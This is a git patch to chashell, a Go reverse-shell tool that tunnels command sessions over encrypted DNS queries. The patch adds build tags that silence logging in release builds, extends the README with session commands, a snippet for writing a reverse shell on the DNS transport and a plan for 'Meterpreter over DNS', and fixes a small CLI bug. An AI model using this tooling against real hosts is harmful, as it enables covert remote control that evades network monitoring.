From 51aabc1001aded90a3c61e6bb795a35a0cfc6efc Mon Sep 17 00:00:00 2001 From: Nicolas Chatelain Date: Fri, 15 Feb 2019 15:16:47 +0100 Subject: [PATCH] Add debug/release builds tags, improve README --- Makefile | 9 +++++---- README.md | 15 ++++++++++++++- cmd/server/cli.go | 5 ++++- lib/logging/debug.go | 25 +++++++++++++++++++++++++ lib/logging/release.go | 10 ++++++++++ lib/transport/encoding.go | 16 ++++++++-------- lib/transport/polling.go | 6 +++--- lib/transport/stream.go | 6 +++--- 8 files changed, 72 insertions(+), 20 deletions(-) create mode 100644 lib/logging/debug.go create mode 100644 lib/logging/release.go diff --git a/Makefile b/Makefile index 75d5e70..5434326 100644 --- a/Makefile +++ b/Makefile @@ -6,6 +6,7 @@ GCFLAGS="all=-trimpath=$GOPATH" CLIENT_BINARY=chashell SERVER_BINARY=chaserv +TAGS=release OSARCH = "linux/amd64 linux/386 linux/arm windows/amd64 windows/386 darwin/amd64 darwin/386" @@ -24,8 +25,8 @@ endif build: check-env ## Build for the current architecture. dep ensure && \ - go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \ - go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE) + go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o release/$(CLIENT_BINARY) $(CLIENT_SOURCE) && \ + go build -ldflags $(LDFLAGS) -gcflags $(GCFLAGS) -tags $(TAGS) -o release/$(SERVER_BINARY) $(SERVER_SOURCE) dep: check-env ## Get all the required dependencies go get -v -u github.com/golang/dep/cmd/dep && \ @@ -34,12 +35,12 @@ dep: check-env ## Get all the required dependencies build-client: check-env ## Build the chashell client. @echo "Building shell" dep ensure && \ - gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -output "release/chashell_{{.OS}}_{{.Arch}}" ./cmd/shell + gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "release/chashell_{{.OS}}_{{.Arch}}" ./cmd/shell build-server: check-env ## Build the chashell server. @echo "Building server" dep ensure && \ - gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -output "release/chaserv_{{.OS}}_{{.Arch}}" ./cmd/server + gox -osarch=$(OSARCH) -ldflags=$(LDFLAGS) -gcflags=$(GCFLAGS) -tags $(TAGS) -output "release/chaserv_{{.OS}}_{{.Arch}}" ./cmd/server build-all: check-env build-client build-server ## Build everything. diff --git a/README.md b/README.md index 06c5ab4..50ad5cc 100644 --- a/README.md +++ b/README.md @@ -34,7 +34,7 @@ We tested those systems and it works without issues : * Windows (386/amd64) * Linux (386/amd64/arm64) -* Mac OS X (386/amd64) +* OS X (386/amd64) ### How to use Chaserv/Chashell @@ -92,6 +92,7 @@ The client should now connect back to `chaserv`: ``` [n.chatelain]$ sudo ./chaserv +chashell >>> New session : 5c54404419e59881dfa3a757 chashell >>> sessions 5c54404419e59881dfa3a757 Interacting with session 5c54404419e59881dfa3a757. whoami @@ -105,6 +106,11 @@ usr var ``` +Use the *sessions [sessionid]* command to interact with a client. +When interacting with a session, you can use the *background* session in order to return to the *chashell* prompt. + +Use the *exit* command to close *chaserv*. + ## Implement your own The *chashell/lib/transport* library is compatible with the *io.Reader* / *io.Writer* interface. So, implementing a reverse shell is as easy as : @@ -120,9 +126,16 @@ cmd.Stdin = dnsTransport cmd.Run() ``` +## Debugging + +For more verbose messages, add *TAGS=debug* at the end of the make command. + ## To Do * Implement asymmetric cryptography ([Curve25519](https://en.wikipedia.org/wiki/Curve25519), [XSalsa20](https://en.wikipedia.org/wiki/Salsa20) and [Poly1305](https://en.wikipedia.org/wiki/Poly1305)) * Retrieve the host name using the `InfoPacket` message. * Create a *proxy/relay* tool in order to tunnel TCP/UDP streams. (Meterpreter over DNS !) +## Credits + +* Nicolas Chatelain \ No newline at end of file diff --git a/cmd/server/cli.go b/cmd/server/cli.go index 57fab5a..a39ac74 100644 --- a/cmd/server/cli.go +++ b/cmd/server/cli.go @@ -10,7 +10,10 @@ import ( ) func interact(sessionID string) { - fmt.Println(consoleBuffer[sessionID]) + buffer, dataAvailble := consoleBuffer[sessionID] + if dataAvailble && buffer.Len() > 0 { + fmt.Println(buffer.String()) + } delete(consoleBuffer, sessionID) currentSession = sessionID diff --git a/lib/logging/debug.go b/lib/logging/debug.go new file mode 100644 index 0000000..2126591 --- /dev/null +++ b/lib/logging/debug.go @@ -0,0 +1,25 @@ +// +build debug + +package logging + +import "log" + +func Debug(fmt string, args ...interface{}) { + log.Printf(fmt, args...) +} + +func Printf(fmt string, args ...interface{}) { + log.Printf(fmt, args...) +} + +func Fatal(args ...interface{}) { + log.Fatal(args...) +} + +func Fatalf(fmt string, args ...interface{}) { + log.Fatalf(fmt, args...) +} + +func Println(v ...interface{}){ + log.Println(v...) +} \ No newline at end of file diff --git a/lib/logging/release.go b/lib/logging/release.go new file mode 100644 index 0000000..7d26a45 --- /dev/null +++ b/lib/logging/release.go @@ -0,0 +1,10 @@ +// +build !debug + + +package logging + +func Debug(fmt string, args ...interface{}) { } +func Printf(fmt string, args ...interface{}) { } +func Fatal(fmt string, args ...interface{}) { } +func Println(v ...interface{}) { } +func Fatalf(fmt string, args ...interface{}) {} \ No newline at end of file diff --git a/lib/transport/encoding.go b/lib/transport/encoding.go index c6cc229..6f8b46c 100644 --- a/lib/transport/encoding.go +++ b/lib/transport/encoding.go @@ -3,11 +3,11 @@ package transport import ( "bytes" "chashell/lib/crypto" + "chashell/lib/logging" "chashell/lib/protocol" "chashell/lib/splitting" "encoding/hex" "github.com/golang/protobuf/proto" - "log" "strings" ) @@ -23,13 +23,13 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool) dataPacketRaw, err := hex.DecodeString(payload) if err != nil { - log.Println("Invalid packet.\n") + logging.Println("Invalid packet.\n") return } // Check if the packet is big enough to fit the nonce. if len(dataPacketRaw) <= 24 { - log.Println("Received packet is too small!\n") + logging.Println("Received packet is too small!\n") return } @@ -38,7 +38,7 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool) // Raise an error if the message is invalid. if !valid { - log.Println("Received invalid/corrupted packet.\n") + logging.Println("Received invalid/corrupted packet.\n") return } @@ -46,7 +46,7 @@ func Decode(payload string, encryptionKey string) (output []byte, complete bool) message := &protocol.Message{} if err := proto.Unmarshal(output, message); err != nil { // This should not append. - log.Printf("Failed to parse message packet: %v\n", err) + logging.Printf("Failed to parse message packet: %v\n", err) return } @@ -92,7 +92,7 @@ func dnsMarshal(pb proto.Message, encryptionKey string, isRequest bool) (string, packet, err := proto.Marshal(pb) if err != nil { - log.Fatal("Unable to marshal packet.\n") + logging.Fatal("Unable to marshal packet.\n") } // Encrypt the message. @@ -139,7 +139,7 @@ func Encode(payload []byte, isRequest bool, encryptionKey string, targetDomain s initPacket, err := dnsMarshal(init, encryptionKey, isRequest) if err != nil { - log.Fatalf("Init marshaling fatal error : %v\n", err) + logging.Fatalf("Init marshaling fatal error : %v\n", err) } // Iterate over every chunks. @@ -161,7 +161,7 @@ func Encode(payload []byte, isRequest bool, encryptionKey string, targetDomain s dataPacket, err := dnsMarshal(data, encryptionKey, isRequest) if err != nil { - log.Fatalf("Packet marshaling fatal error : %v\n", err) + logging.Fatalf("Packet marshaling fatal error : %v\n", err) } dataPackets = append(dataPackets, dataPacket) diff --git a/lib/transport/polling.go b/lib/transport/polling.go index 92b2187..399f7dc 100644 --- a/lib/transport/polling.go +++ b/lib/transport/polling.go @@ -1,8 +1,8 @@ package transport import ( + "chashell/lib/logging" "chashell/lib/protocol" - "log" "strings" "time" ) @@ -32,12 +32,12 @@ func poll(stream dnsStream) { pollPacket, err := dnsMarshal(pollQuery, stream.encryptionKey, true) if err != nil { - log.Fatal("Poll marshaling fatal error : %v\n", err) + logging.Fatal("Poll marshaling fatal error : %v\n", err) } answers, err := sendDNSQuery([]byte(pollPacket), stream.targetDomain) if err != nil { - log.Printf("Could not get answer : %v\n", err) + logging.Printf("Could not get answer : %v\n", err) return } diff --git a/lib/transport/stream.go b/lib/transport/stream.go index aa023cf..74a359b 100644 --- a/lib/transport/stream.go +++ b/lib/transport/stream.go @@ -1,10 +1,10 @@ package transport import ( + "chashell/lib/logging" "github.com/Jeffail/tunny" "github.com/rs/xid" "io" - "log" ) type dnsStream struct { @@ -43,7 +43,7 @@ func (stream *dnsStream) Write(data []byte) (int, error) { // Send the init packet to inform that we will send data. _, err := sendDNSQuery([]byte(initPacket), stream.targetDomain) if err != nil { - log.Printf("Unable to send init packet : %v\n", err) + logging.Printf("Unable to send init packet : %v\n", err) return 0, io.ErrClosedPipe } @@ -53,7 +53,7 @@ func (stream *dnsStream) Write(data []byte) (int, error) { _, err := sendDNSQuery([]byte(packet.(string)), stream.targetDomain) if err != nil { - log.Printf("Failed to send data packet : %v\n", err) + logging.Printf("Failed to send data packet : %v\n", err) } return nil